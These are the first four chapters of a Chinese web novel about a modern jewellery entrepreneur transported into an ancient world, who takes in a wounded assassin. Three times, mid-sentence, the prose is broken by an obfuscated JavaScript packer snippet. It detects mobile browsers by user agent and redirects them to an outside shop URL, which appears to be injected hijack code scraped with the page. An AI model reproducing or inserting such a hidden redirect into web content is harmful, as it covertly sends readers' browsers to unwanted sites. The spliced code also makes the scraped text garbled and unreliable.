《簪娘的赘婿是杀手?》 1. 第1章 穿成小孤女 “唉……” 竹音以手支颐,坐在破旧的老屋里,第十九次叹气。 穿来这个名为大衡国的古代世界已经三天了,她还是没能彻底适应自己的新身份。 穿越前,她是个二十八岁的电商老板,主营汉服发饰业务,专做非遗手工,下面带着几十个人的簪娘团队,在汉服圈小有名气,排单都排到了半年后,事业也算小有所成。 然而仅仅是睡了一觉,她就变成了十五岁的古代商户女,双亲遭遇意外,刚刚下葬,家里的银楼被对家抢走,她只好回村,住在多年未经修缮的乡下老宅,孤苦伶仃。 再也没有什么比刚走上人生巅峰,还没来得及享受,就重新返贫更惨的了。 竹音气的咬牙切齿,就算要穿越,也等她把钱花光了再穿呀! 再不济带个系统也行啊? 哪有这样的,莫名其妙就把她丢到这个听都没听说过的地方,让她自生自灭? 简直离大谱! 但无论竹音如何愤愤然,来都来了,又没找到办法回去,又不敢自杀,肯定还是要想办法生存下去的。 竹音穿的这个身体,原本是个活泼开朗的小姑娘,也叫竹音。 原主的母亲是银楼掌柜,泼辣精明,父亲是上门赘婿,忠诚懂事,两人经营着家里的小银楼,卖一些姑娘太太们喜欢的首饰,收入在这小镇里也算不错了。 原主这个独女,自然理所应当的被母父呵护着,在母父去世前,她每天最大的烦恼还是“早上吃什么”,“中午吃什么”,“晚上吃什么”。 家庭巨变后,她的烦恼虽然还是这三个问题,但底层含义已经大大不同。 生活水平一落千丈,小姑娘经受不住打击,每日思念母父,伤心欲绝,在乡下没呆多久,也染病去世了。 然后现代的竹音就穿了过来。 开局一座破屋,要钱没钱,要人没人,还不附带任何金手指,就这穿越条件,很难不怀疑自己是不是被穿越大神搞了。 竹音苦着脸,盘点了一下家里的财产,很好,就剩三个铜板。 再看一眼厨房,很好,就剩两个南瓜。 穷成这样也是没谁了,当务之急,还是挣钱要紧。 唯一值得庆幸的是,她穿的这个身份也算是专业对口,原主家里开银楼卖首饰,她开网店卖首饰,别的不说,求生技能至少不遭人怀疑。 她会做许多非遗手工,绒花,缠花,通草花,珠花,花丝镶嵌,仿点翠,纯铜重工大发冠…… 这些技能,来了这儿也用得上。 为了早日东山再起,竹音决定做非遗手工缠花,相比起其它发饰,这个成本最低,花样却多,更容易出彩。 但做缠花需要用到蚕丝,现在的她,只有三个铜板,别说蚕丝了,买一沓画图的厚纸都费劲,所以她得去搞点启动资金。 出门干活得吃饱饭,竹音走到厨房,掀开锅盖,从里面拿出来一碗蒸南瓜。 这南瓜不是后世的改良品种,既不甜也不面,并不怎么好吃。 她没滋没味的把一碗南瓜吃完,勉强填饱肚子,便揣着三个铜板出门,准备去镇上看看有没有活计可以接来做一做。 然而她刚打开吱呀作响的老旧木门,才走出一步,还没看清楚外面的太阳,就见一个黑影从天而降,裹挟着一股凛冽的风,猝不及防的朝她重重砸来。 竹音瞪大眼睛:“我去!” 她吓得连忙往后起跳,但速度自然没有那黑影快。 还没来得及发出惊叫,就被那黑影结结实实扑倒在地! “砰”的一声,她四脚八叉的躺在地上,后背的闷痛和胸前沉重的压力让她眼前发黑,胃里刚吃进去的南瓜直冲喉咙,差点被压出来。 “哎呦……谋杀啊!该死,什么东西,赶紧起开!”竹音痛苦的骂了一声,手脚并用,连踢带踹的想把身上的重物推到一边。 推搡间,她先摸到了温热的,带着黏腻感的布料,然后是下面坚实却异常沉重的躯体。 好像是个人? 竹音费了九牛二虎之力,终于将人掀到一边。 重物落到地上,发出一声闷响。 她撑着胳膊气愤的坐起来,发现对方果然是个人高马大的年轻男人。 此人双眼紧闭,面色苍白,看起来像是晕过去了。 但这不是重点,重点是…… 竹音低头看向自己的手,她的手上现在猩红一片,是刚刚推那人胸膛时沾上的血迹,此刻鼻尖也充斥着浓烈的血腥味。 流这么多血,不会是个死人吧! 她大惊失色,古代又没有监控,有死人出现在她家里,很难解释的清楚啊! 穿越定律第一条,陌生的男人不要管。 竹音当即决定把他丢出去,越远越好! 她迅速从地上弹起来,伸手从男人腋下穿过,咬牙用力,试图将这具沉重的身躯拖出去。 可惜她这几天没吃上什么好饭,原主又是个不经常锻炼的小姑娘,拖动这么大个男人还是太吃力了,才挪动几步,便已经累的气喘吁吁。 更让她头皮发麻的是,泥土地面上留下了清晰的拖拽血痕。 竹音大感头痛,这算个什么事? 她今天要去挣钱的呀! 最后一碗南瓜已经被她吃掉了,再不去挣钱,明天就要喝西北风了,怎么这时候还要遇上这种麻烦事? 穿越成现在这身份已经够倒霉了,怎么人还可以继续倒霉下去? 老天娘,要不要这么玩我! 竹音深吸一口气,努力平复崩溃的情绪,正当她认真思考如何处理掉这个烫手山芋时,地上的男人发出一声极轻的闷哼,然后缓缓睁开了眼睛…… 竹音僵住,立刻低头看去。 男人有一双很美丽的眼睛,黑眸如墨,宛若星辰。 哪怕他如今浑身是血,衣服上还沾了不少泥土,看起来非常狼狈,也掩饰不住那双清亮眼眸带给人的惊艳。 他定定的盯着竹音看了几秒,似乎恢复了神智,干裂的嘴唇微微翕动:“姑娘,救……救我……” 他的嗓音沙哑,有气无力,却又出奇的好听,带着重伤之人独有的破碎感,让人闻之生怜。 竹音一愣,这才发现男人长了一张好脸。 嘶,刚才太紧张了,她都没注意这人长什么样。 现在细细看去,只见他鼻梁高挺,眉目如剑,下颚线条清晰利落,宛如雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092785|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻,即便此时面无血色,薄唇发白,也无损那份清俊无双的美貌,这是个难得的少年感帅哥。 好看的过分,也麻烦的过分! “你……我怎么救你?”竹音心里警铃大作,她下意识后退半步,皱起眉,开始措辞拒绝:“大哥,你一看就是个麻烦人物,我身无分文,也不能为你寻医问药,这种事情,你还是找别人吧。” 说着,她又走上前去,试探性的伸手,想把他扶起来:“你既然醒了,还能走吗?趁现在没人发现,赶紧走吧。” 男人试图配合,但竹音刚把他扶起来一点,他便承受不住的剧烈咳嗽起来,随即猛的吐出一口鲜血,身体痉挛般的蜷缩了一下,脸色更白,额头渗出冷汗,似乎十分痛苦。 竹音吓了一跳,也不敢继续动他了,怕给人家的伤势搞的更严重,连忙轻轻把他重新放到地上。 她蹲在男人身边,苦口婆心的说道:“我真没本事救你,我要钱没钱,要医术没医术,你在我这儿连口饭都吃不上!真的,我身上就三个铜板。” 说着,她掏出了那三个磨的发亮的铜板给他看:“你看看我住的这地方,屋顶都是漏的,真正的家徒四壁,穷的叮当响!为了你的命,你得去找别人。” “……我有钱。”男人急促的喘息了几下,目光似乎清明了一些,他视线下移,示意竹音看他腰间挂的那个大荷包。 “荷包里……有钱。”他的声音虚弱,神情却又透着笃定。 竹音:“……” 她按按额角,无奈的说:“我不是这个意思,我的意思是说,你可以去找别人,比我更厉害一些的人,这样对你的伤势更有帮助,你明白吗?” “我有钱。”男人重复道,语气加重了些,带着莫名的固执:“……我有很多钱。” 竹音:“……” 她试图重申自己的观点:“我真不是这个意思,我不是图你的钱……” 男人似乎耗尽了说话的力气,也不再争辩,只是艰难地动了动手指,指向那个荷包,唇间挤出几个字:“……给你……你、自己拿……” 竹音:“……” 竹音看着他那双坚韧又执着的眼睛,又瞥向那个鼓囊囊的大荷包。 空气中弥漫的血腥味和老屋腐朽的木头味交织,一种微妙而危险的诱惑在寂静中蔓延。 竹音犹豫了一下,鬼使神差的伸出手,解开荷包的系绳,伸手去掏。 然后掏出了一个沉甸甸的大银元宝。 “还有……”男人并不吝啬,让她继续掏。 竹音看着那个银元宝,抿了抿嘴,面色沉重,继续伸手去掏,又掏出来一个黄澄澄的大金元宝。 男人说:“还有……” 竹音继续掏,又掏出来几张大额银票。 “这些钱……够吗?”男人声若蚊蝇,气若游丝,目光却紧紧锁定着她的脸,好像很怕她拒绝。 竹音看着手上的巨款,感觉掌心发烫,脑袋也很大,她压低声音问:“你到底是什么人,这么有钱?” 男人闭上眼,似乎缓了口气,再睁开时,声音更加虚弱:“……你不必知道。我……只求在此养伤几日,伤势稍缓便立刻离开,绝不牵连姑娘。可以……吗?” 2. 第2章 富贵险中求 竹音眉头紧锁,内心天人交战。 救这个男人的风险显而易见,但这笔钱,足以让她彻底摆脱眼前的困境,直接拥有东山再起的资本。 所谓富贵险中求,她前世创业,哪次不是在风险中博机会? “几天?”她的目光恢复商人的冷静与精明,盯着男人问。 男人沉默片刻,微微苦笑:“……最快,三天。” 三天,换取这么大一笔巨款。 竹音心念急转,脑海中飞快的权衡着利弊,最后一拍大腿,决定看在钱的面子上,铤而走险一回:“行,说好了,三天后你就走!” 她现在这么缺钱,不管出去干什么,都不可能在三天之内赚到这么大一笔钱了。 此事值得冒险! 大不了死掉。 竹音恨恨的想,说不定死了就能回去了呢。 都倒霉成这样了,破罐子破摔吧。 男人闻言,紧绷的身体几不可查的松懈下来,哑声道:“多谢……姑娘。” 竹音是个很讲信用的商人,这是她做生意的第一准则,既然收了金主的钱,就会办好事。 她费力的把男人半扶半抱的弄进屋里,然后又跑出来,脚底左右摩擦,用黄土盖掉外面的血迹,随即将大门关上,准备给男人处理伤口。 黑色的外袍一打开,男人胸口皮肉翻卷、触目惊心的伤口便暴露在竹音眼前,骇的她倒吸一口凉气:“你这伤势太严重了,我得去给你找大夫!” “不必、节外生枝……”男人按住她的手腕,力气不大,语气却很坚定:“上衣内袋,有伤药……” 他的手指冰凉,带着薄薄一层冷汗,扣在她温热的腕间,触感鲜明。 竹音顿了一下,叹了口气,随即依言照做,在他被血浸湿的衣服里找到一个小瓷瓶,然后拔开塞子,把里面白色的药粉均匀的洒在他身上的伤口上。 很神奇,居然真的一下子止住血了。 竹音惊叹着药粉的疗效,想着这东西要是能带回现代,说不定也能卖不少钱呢。 随着药粉泼洒,男人呼吸沉重,牙关咬紧,面上露出隐忍的疼痛之色。 竹音皱了皱眉,进屋找了块帕子给他:“你咬着这个,别硬忍着,再咬了舌头。” 眼看着男人准备摇头,她不容拒绝的把叠好的帕子塞进他的嘴里,又把桌上的热水倒进盆子里,用另一块帕子给他擦身上的血污:“你忍着点,我赶紧给你弄完,再流下去,血该流光了。” 帕子上带着淡淡的香气,说不出来是什么花香,却意外的让人心里宁静。 男人咬着帕子,目光闪了闪,又把眼眸垂了下去。 竹音认真且快速的给他处理着伤口,撒完伤药之后,一点点轻柔的擦拭伤口周围的血污。 两人离得很近,竹音能闻到他身上浓重的血腥味下,一丝极淡的、清冽的、又有些冷硬的气息,就像他这个人一样,看起来冷冰冰的,如同寒潭里一块坚硬的千年寒冰。 男人的呼吸因为疼痛而略显粗重,灼热的气息不时拂过她低垂的额发和颈侧皮肤。 竹音恍若未觉,她换了一盆水,继续擦拭,指尖偶尔不可避免地划过他完好的肌肤。 手下的躯体坚实紧致,伤成这样,都能看清他身上垒块分明的肌肉。 竹音小心的擦拭着,但无论她多么轻柔,伤势在这里,疼痛总是不可避免。 男人的身躯在她的触碰下产生了细微的颤栗,配合上若有似无的闷哼声,让气氛陷入了一种粘稠迟滞的异样状态,莫名有些尴尬。 好在这一切并未维持多久,竹音换了三盆水,终于洗干净了他身上的血污。 上好药,用干净的旧衣裁成布条,包扎好伤口后,那狰狞的伤势便显得不那么吓人了。 “好了,差不多了。”她把帕子从他嘴里取出来,有些好奇的问:“你刚才怎么会从天上掉下来,差点把我砸死,你从哪冒出来的?” 男人沉默了一瞬,才低声道:“……实在、对不住……原想在院中……树上……自行处理伤口,谁料……不慎跌落。” 他的声音里难得带上一丝窘迫,看起来这件事让他非常难堪。 “原来你在树上啊!”竹音恍然大悟,然后挑眉,语气里听不出是赞叹还是揶揄:“伤成这样还能上树?功夫不错嘛。” 男人没有接话,只是目光无言的落在她的脸上。 竹音正在擦汗,刚刚一通忙活,让她的鼻尖渗出细小的汗珠,此时用袖子豪迈的一抹,倒显出几分随意的率性来。 擦完汗,竹音把他的脏衣服全脱下来,收到一边,只给他留了一条中裤,然后环顾四周,说道:“你太重了,我抱不动,我把床搬过来吧,地上寒气重,你光着身体,不能一直躺在这里,会受寒的。” 明明面前有一个没穿衣服的男人,她的神情却纯粹又认真,就像在说一件平平无奇的小事,并无一般女子面对男子裸露身体时的羞怯和闪避。 男人心中略微放松,却又因这种坦然的“无视”感到一丝奇怪的……不自在。 虽然也不知道自己在不自在什么。 竹音没注意到他的神情变化,她将里屋的门板卸下来,放在地上,在上面铺了厚厚一层稻草,一层旧被褥,然后说:“这是屋里最厚的褥子了,你先将就一下。” 她走到他身边,手臂穿过他的腋下和膝弯,语气相当自然,就像在说一件理所当然的小事:“你别动,我把你抱过去,免得伤口裂开。” 竹音用一个标准的抱小孩的姿势来抱他,只是由一个小姑娘抱一个大男人,看起来有些滑稽。 男人的身体在感受到她的动作后,明显僵硬了一瞬,却没有反对。 要在三天内让伤势好转,他确实不能再动了。 竹音咬牙发力,使出吃奶的劲儿,勉强将他半抱半拖的挪到了铺好的地铺上。 但即便她如此小心,男人还是在移动中因为牵动到伤口,发出了压抑的闷哼,有一块布条还渗出血来,吓得竹音连忙又给他补了点药。 真是服了!竹音擦了把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092786|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗,在心里吐槽。 这副身体太虚了,但凡是她上辈子那个常年健身的身体,175cm的她,抱个大男人根本就不是事。 她甩了甩因为吃力而微微颤抖的细胳膊细腿,再一次想咒骂穿越之神。 什么仇什么怨啊,把她投放到这里来吃苦? 到底哪里能投诉这种恶劣行径! 见男人重新躺好,竹音又进屋给他拿了枕头和被子。 她把枕头塞在男人头下,又去给他盖被子,从下往上,先盖住了腿和脚,正当她思考要不要盖住上半身的伤口时,男人已经迅速的拽过了那条薄被,将自己盖得严严实实。 竹音:? 什么情况? 他应该不是害羞了吧? 竹音打量了一下男人面无表情的俊脸,打消了这个想法。 可能就是冷了,肯定没害羞。 据说失血过多的人都会感到冷。 想到这里,她又把另一床被子拿出来,给他盖到了上面:“这样就不冷了。” 又摸了摸他的头,和自己的额头对比了一下:“温度不高,应该没发烧。” 男人低低“嗯”了一声,侧过脸,避开竹音的视线,耳根处泛起一丝极淡的、不易察觉的薄红。 竹音给他掖好被角,说:“现在这天气不算太冷,我这里条件有限,你就先将就一下吧。 你这衣服,我晚点给你洗了。你还要抓什么药,吃什么饭,都和我说,我现在去置办。” 她是个要么不做,要么就做到好的性格,金主钱给够了,她也愿意服务的好一些。 男人闻言,转过头,说了两个药方名称给她,一个治疗内伤,一个促进外伤愈合,至于吃的,只说随着竹音吃便好,毫不挑剔。 竹音记下药方名字,又问他要不要买几身衣服:“你那衣服,现在洗了,一下子也干不了,上面还有破洞,修补也要花时间,你要来两套换洗衣服吗?” 男人愣了一下,似乎才想到这个问题,轻轻点头:“……有劳,寻常布衣即可。” 竹音应下,又问他:“对了,你叫什么名字,我该怎么称呼你?” “我……”男人犹豫了片刻,鸦羽般浓密的睫毛垂下,复又抬起,目光与她相接,轻声吐出两个字:“玄烬。” “玄烬?”竹音重复了一遍,然后露出一个笑容:“行,我记住了,我叫竹音。” 竹音换了套干净衣服,背了个背篓,揣好银钱,仔细锁好院门,这才大步流星的离开,去镇上置办家里需要的东西。 屋内,玄烬耳力极好,他听着竹音的脚步声渐渐远去,掀开被子,目光落在自己已被妥善包扎好的伤口上,又缓缓移向这破旧,却能暂时给予他一方藏身之地的屋舍,眼底深处翻涌起复杂的情绪。 他拼着一身伤,跑了那么远,应该已经彻底跑出组织的掌控范围了吧? 这一次伤好之后,他应该就是自由身了。 玄烬攥了攥掌心,决然的想,无论如何,他再也不想做杀手! 3. 第3章 药铺买药 清栀镇。 竹音住的村子离城镇并不算远,小半个时辰就能走到。 此刻的她,早已拔下插在头上的簪子,利落的给自己盘了个妇人发髻,扮作新婚小妇人的模样,做出一副焦心忧虑之态,哭哭啼啼的进了一家从未去过的药铺,问掌柜的买内伤药: “我婆婆晌午爬梯子取阁楼上的粮食,不慎摔了下来,当时人就不好了。大夫说她伤到了肺腑,要吃这副药,求掌柜您快些帮我抓了,我得赶紧拿回去煎给她吃! 她可千万不能出事,不然家里那口子回来,不得怨死我!说不定还会把我休了,嘤嘤嘤……” 她这幅不经事的样子,看的掌柜都同情她了。 婆媳矛盾向来难以调和,尤其是这种性子弱的小媳妇,遇到这种事,只能自认倒霉。 掌柜一边手脚麻利的给她抓药,一边安慰她:“她自己摔的,总不能全怪你,你要的这一副是上好的药,吃了药,再好好看顾着,说不定人就好转了。” 他把药称好,顺手播了算盘:“一共一两二钱银子。” “这么贵啊……”竹音故意露出肉痛的表情,磨磨蹭蹭从荷包里掏出一块早就剪好的碎银子,放到柜台上,眼里全是对钱的不舍:“唉,多谢掌柜吉言,只盼着这些药能见效,嘤嘤嘤……” 从第一家药铺里出来,竹音把药包放进背篓里,用破布盖上,去了几条街外的第二家药铺。 她又把头发放下来,盘成小姑娘模样,再随意抓乱,做出一副惊慌失措的姿态,满脸眼泪的冲进药铺里,让人给她抓外伤药:“掌柜的,快帮我抓药!我阿姐今日上山捡柴,不知道从哪冲出来一头野猪,把她给顶了,呜呜呜! 我们好不容易把她救下来,但她身上被那野猪獠牙顶出了好些伤口,血流不止,村里的大夫说,让我抓这幅药给她吃,能不能熬过来,就看命了,我可怜的姐姐啊……” 掌柜的被这飞来横祸的惨事触动,大动恻隐之心,跟着她一起骂那不长眼的野猪。 当然,商人本色也没忘,抓完药后,还给她推荐店里的金疮药:“这外伤啊,也得涂抹,用它最好了,虽然贵些,但好些人都说用了它后能不留疤,你姐姐还没出嫁吧?现在正是愈合伤口的关键时刻,得赶紧用上,留了疤痕,可就不好嫁人了。” 掌柜这话是有水分的,就他们这小地方,哪有那种完全祛疤的好物?这金疮药好是好,但顶多能让人的伤口愈合后疤痕略微浅一些罢了。 竹音思量着玄烬那瓶神奇药粉也快空瓶了,本着对金主身体负责的态度,还是拿了一瓶。 多用点儿药,伤口好的快一些,三天后他就能顺利的走了。 这回花了三两银子。 竹音抹着眼泪,哭着走出药铺,一边走还一边抽泣:“花了这么多银子,家里可欠了大钱了,阿姐一定要撑过去啊……” 掌柜同情的目送她的背影,还和伙计感叹:“你说说这事儿,运气多不好,咋还被野猪顶了?” 伙计不以为然道:“这还算好的,还能救,若是被毒蛇咬了,就得当场一命呜呼了。” 竹音出了药铺,跑到无人的地方,放好买的药,然后把凌乱的头发梳好,终于开始买正常东西了。 她是个很警惕的人,故意用了两个借口混淆视听,往后即便有人来查,也很难把玄烬这个大男人的伤势和两个倒楣的女人扯上。 她先去了成衣铺子,打着给亲戚送礼的名号,给玄烬买了两身柔软的细布衣服,一套黑色,一套蓝色。 其实粗布的更便宜,但他那身黑衣的质地就很不错,一看就是高级货,竹音觉得也不能太把金主当傻子忽悠,买的东西至少要面子上过得去。 所以她顺便还买了两双鞋。 鞋号是她用稻草量出来的,此时把那根稻草拿出来一对比,鞋袜的尺码就对上了。 “大娘,我买这么多,你再送我两条犊鼻裈吧!”竹音看了看店里挂着的衣服,忽然说。 掌柜大娘闻言,白眼都要翻到天上去:“你这小丫头懂不懂啊,哪有人送礼送犊鼻裈的?” “哎呀,我拿回去给我爹穿嘛!我爹那犊鼻裈都晃线了,还舍不得扔,晾在院子里贼丑,我娘都抱怨好几回了,我要是带两条新的回去,她一准夸我。”竹音抱着大娘的胳膊撒娇:“我买了这么多东西,您就给我点搭头吧,下回我还来,给你带新客。” 三言两语间,这爱占便宜的乡下丫头人设算是立住了。 掌柜大娘故作亏本姿态,不情不愿的找了两条犊鼻裈出来给她:“我这可没有便宜货,这都是细棉布做的,两条犊鼻裈送给你,这单都要亏死了。” 实际上那犊鼻裈都是做成衣剩下的边角料做的,根本没用多少布料。 竹音亲亲热热的喊着大娘,谢过她的慷慨,提着衣服鞋子出了门。 依旧是放到背篓里,衣服鞋子塞进去之后,背篓的重量直线增加,压的竹音的肩膀一酸。 竹音再一次吐槽,这副身体真是太弱了,但凡让她穿到侠女身上,也不至于这么被动。 现在是深春时节,天还不够长,太阳落山后,路上就不安全了,她得赶紧买了吃食回去,以防万一。 买吃的便没那么多讲究了,兜里有钱,心里不慌,竹音便准备按照自己上辈子的食谱吃。 思量着家里还有个病患,她买的食材都很清淡。 两根白萝卜,一颗白菜,几根带肉的筒子骨,一条腊肉,一提腊肠,一包点心,然后是油、盐、糖等调味品,最后是一小袋米,一小袋面,十几个鸡蛋…… 直到把背篓装的满满当当,竹音才停下购物,开始往回走。 路过一个卖糖的小商贩时,她又顺手买了包花生糖,准备给病患吃。 流了那么多血,该补充点高热量。 等她背着背篓风尘仆仆的赶回家时,太阳刚刚西斜。 竹音在老宅外面看了一圈,确认离开后无人造访,这才用钥匙打开门进了院子。 进去后,她从里面拴上院门,这才往屋里走去。 她的动静不小,玄烬早早便看向了门口,等她把门推开,两人的视线便刚好对在了一起。 “你还好吧?”竹音看了他一眼,放下背篓,反手关上门,揉着酸痛的肩膀朝他走去。 这背篓真是太重了,背了这一路,现在只觉得腰酸背痛,估计她的肩膀都被压的青紫了。 玄烬还维持着之前的姿势,平躺着,轻轻“嗯”了一声。 竹音很自然的走上前,掀开被子,查看了一下他的伤口,发觉没有鲜血溢出,松了一口气,又给他盖上:“药我买回来了,这就给你煎上。晚上吃萝卜炖大骨,再煮几个鸡蛋,多吃点蛋白质……不是,多吃点蛋白和肉,好的快。” 竹音在心里打了下嘴,差点就说秃噜了。 好在玄烬没察觉到异样,他怕冷似的,默默把被子往上扯了扯,盖到脖子处,只露出一个头,然后对她感激的说:“辛苦了。” “不辛苦,应该做的。”竹音浑不在意的挥了挥手,把背篓提过来,准备将战利品展示给他看:“我今天给你买了两套衣服,一套黑的,一套蓝的,还有两双鞋,两双袜子,两条犊鼻裈,晚上我烧一锅热水,再好好给你擦擦身体,把新衣服换上……” “犊、犊鼻裈?”玄烬冷静自持的脸上忽然出现了一条裂缝。 他有些不可置信的看向竹音,发觉竹音正认真的在背篓里掏东西,又赶紧把表情收了回来,恢复冰山模样。 “是啊,我想着你得换洗嘛,你那裤子也沾了血,给你处理伤口时,你还出了不少汗,这一身都得换了。 你放心,我不是变态,待会儿给你换裤子的时候,我闭着眼。”竹音一本正经的说道:“既然你给了钱,我这三天肯定会把你伺候好,你不用担心。 哦!对了,我还给你买了点心和花生糖,做饭还要一会儿,你先吃点儿垫垫肚子。” 说着,她把点心和糖拆开,先给他嘴里塞了一颗花生糖,又给他手里放了一块点心,照顾小孩子一样说:“你先吃,吃完了喊我,我再给你拿,我先去给你煎药了。” 玄烬:“……” 他拿着点心,含着嘴里的糖,一时无言,根本不知道该怎么接话。 这、这姑娘,跟他以往见过的全都不一样! 一想到她晚上要给他擦身体,还要换犊鼻裈,玄烬表面上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092787|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无表情,八风不动,实际上心里都要羞赧的找个洞钻进去了。 她怎么一点都不觉得这事奇怪啊! 厨房里,竹音找了个积灰已久的小炉子出来,添了柴火进去,正在淡定从容的给玄烬煎药。 幸好她小时候家境贫寒,住在农村,会用这些柴火老灶,不然现在就要抓瞎了。 把药罐子煮开后,她退了大部分柴火,只留小火慢慢煎着,然后去大灶上做饭。 筒子骨被屠户剁成两半,露出里面的骨髓,上面的肉也不少,足够两人饱餐一顿。 竹音把萝卜和肉简单清洗了一下,给萝卜削了皮,改刀切成大块,又给筒子骨焯了水,随后便重新添了一锅水,将二者放进去,辅以盐和葱姜,简单粗暴地炖了起来。 趁着炖萝卜大骨汤的时间,她又淘了米,装在两个大碗中,用几根筷子支在锅里,把碗放在上面,盖上盖子,下面煮,上面蒸,准备饭菜一锅出。 懒人做饭就是这么简单。 竹音忙完这些,看了眼厨房里所剩无几的柴火,叮嘱自己明天要去捡柴,随后出了厨房,去屋里看玄烬。 玄烬已经吃完了花生糖和点心,此时正目光放空的看着布满蛛网的破旧屋顶,不知道在想些什么。 竹音自己拿了一块儿点心,塞进嘴里,又给他拿了一块儿,递到他面前:“吃完了怎么没喊我?” 玄烬收回目光,看着她,欲言又止。 “怎么了?”竹音看了看点心,疑惑道:“不好吃吗?我觉得还行啊,你要不喜欢这个,要不再吃点糖?” 玄烬动了动嘴唇,硬着头皮,艰涩的说道:“那个……犊鼻裈……不用……” 竹音没等他说完,便明白了意思,她高高扬起眉毛:“你不想换?” 玄烬顿时语塞,半晌后艰难的“嗯”了一声。 竹音“啧”了一下,有点嫌弃的看着他:“你这男人,真不爱干净。” “不……”玄烬差点哽住。 他很爱干净的,他甚至还有点洁癖,但让一个大姑娘给他换犊鼻裈,这对他来说,还是太难为情了。 竹音看着他窘迫的神情,忽然笑出声,善解人意的说道:“我买犊鼻裈也是为你考虑,你既然不想换,我当然尊重你的意见,只要你不嫌脏衣服难受,我没问题,不换就不换,你别这么紧张。” 玄烬紧绷的身体立刻放松了一点,他看着她,复杂的眼神中充斥着无奈。 竹音轻快又短促的笑了一下,把点心重新举到他面前:“再来一块?” “好。”玄烬接过点心,放在掌心,小口小口的啃食着,尽量不让碎屑掉到枕头上。 若非身体受限,他真的很爱干净。 两个人吃着东西,相顾无言的坐了一会儿,气氛倒是意外的和谐。 等到饭快熟了,竹音又拿了个碗,打了四个鸡蛋,加了少许盐和油,放到锅里蒸着,一个非常简单的鸡蛋羹。 鸡蛋羹蒸熟后,她先把热腾腾的鸡蛋羹和两大碗白米饭端出来,又把炖的清甜软烂的萝卜大骨汤盛到陶盆里,端到桌上,最后才给玄烬倒了一碗黑乎乎的苦涩药汁出来。 “先吃饭,药晾着,吃完了正好能喝,这是内伤药,喝三天,那个外伤药,你到时候拿走,自己煎吧。”竹音说。 玄烬对此并无异议,只朝她点头。 竹音左顾右盼,从角落里找了张矮桌子出来,把饭菜挪到上面。 又把屋子里仅剩的一床被子拿出来,叠成豆腐块,小心翼翼的扶着玄烬,让他坐起来,半靠在上面,方便吃饭。 这一通折腾,又叫她出了一身汗。 今晚不管玄烬换不换衣服,总之她是要从头到脚再换一身的。 “我喂你?”竹音看他坐的艰难,决定发挥人道主义精神,送佛送到西。 她拿起勺子,舀了一块大骨头上脱落的瘦肉,送到玄烬嘴边。 玄烬看着递到唇边的肉,表情有一瞬间呆滞。 长这么大,还从来没人喂他吃过饭。 这种陌生的场景,让他不由自主的感到慌乱和不自在,他竭力维持住镇定的表情,忍着伤痛想要抬起手臂:“我、我自己来吧……” 4. 第4章 喂药 “你行吗?”竹音举着勺子没动,目光怀疑的扫过他胸前的伤口,以及他费力想要抬起的手臂。 玄烬想要接过勺子,但吃饭要用右手,和刚才吃点心的左手不一样,他的右半身显然伤的更重,即便做这点动作,也牵扯到了伤口,让他立即眉头紧锁,痛的额角渗出冷汗来。 “算了吧。”竹音叹了口气,按下他的手臂,果断的替他做了决定:“还是我喂你吧,你别再把伤口弄开了。” 她把勺子贴到玄烬嘴唇上,迫使他张开嘴。 玄烬愣了几秒,默默张嘴,吃下了那块肉。 瘦肉炖的软烂,带着萝卜的清甜,虽然调味简单,却也别有风味。 “乖~”竹音看他顺从的把肉吃了,脸上顿时露出欣慰的表情:“这就对了,好好吃饭才能好的快!再来一勺鸡蛋羹。” 玄烬表情变换,动了动嘴角,到底没说什么。 竹音把鸡蛋羹一分为二,一人一半,属于玄烬的那份大骨头,她将肉用筷子剔下来,全部喂给了他。 两个人,一个喂,一个吃,空气中只有咀嚼的声音,显得格外宁静。 有一瞬间,玄烬的思绪恍惚了一下,这个场景,是他……曾经想过的那种粗茶淡饭。 一大碗米饭见底,竹音将最后一勺米饭喂给他,问他:“吃饱了吗?再来点?” 玄烬摇摇头:“吃饱了,多谢。” 吃了一大碗饭,又喝了一大碗汤,他现在很饱。 竹音观察着他的神色,见他不像说谎,立刻端着碗去了桌边:“那我开始吃啦,你有事叫我。” 她也饿了一天了,要不是穿越前吃过不少好东西,这会儿闻着饭香,一准早就忍不住了。 为了早日获得强壮的身体,竹音对吃饭这件事很看重,补充充足的肉蛋奶,才能长高变壮,这个身体刚刚十五岁,还有很大的发育空间,必须把握住。 玄烬靠在被子上,看她像一只仓鼠一样,完全不顾及形象,用勺子大口的送饭到嘴里,把腮帮子撑的鼓鼓的,然后嚼嚼嚼嚼嚼……莫名觉得有些可爱。 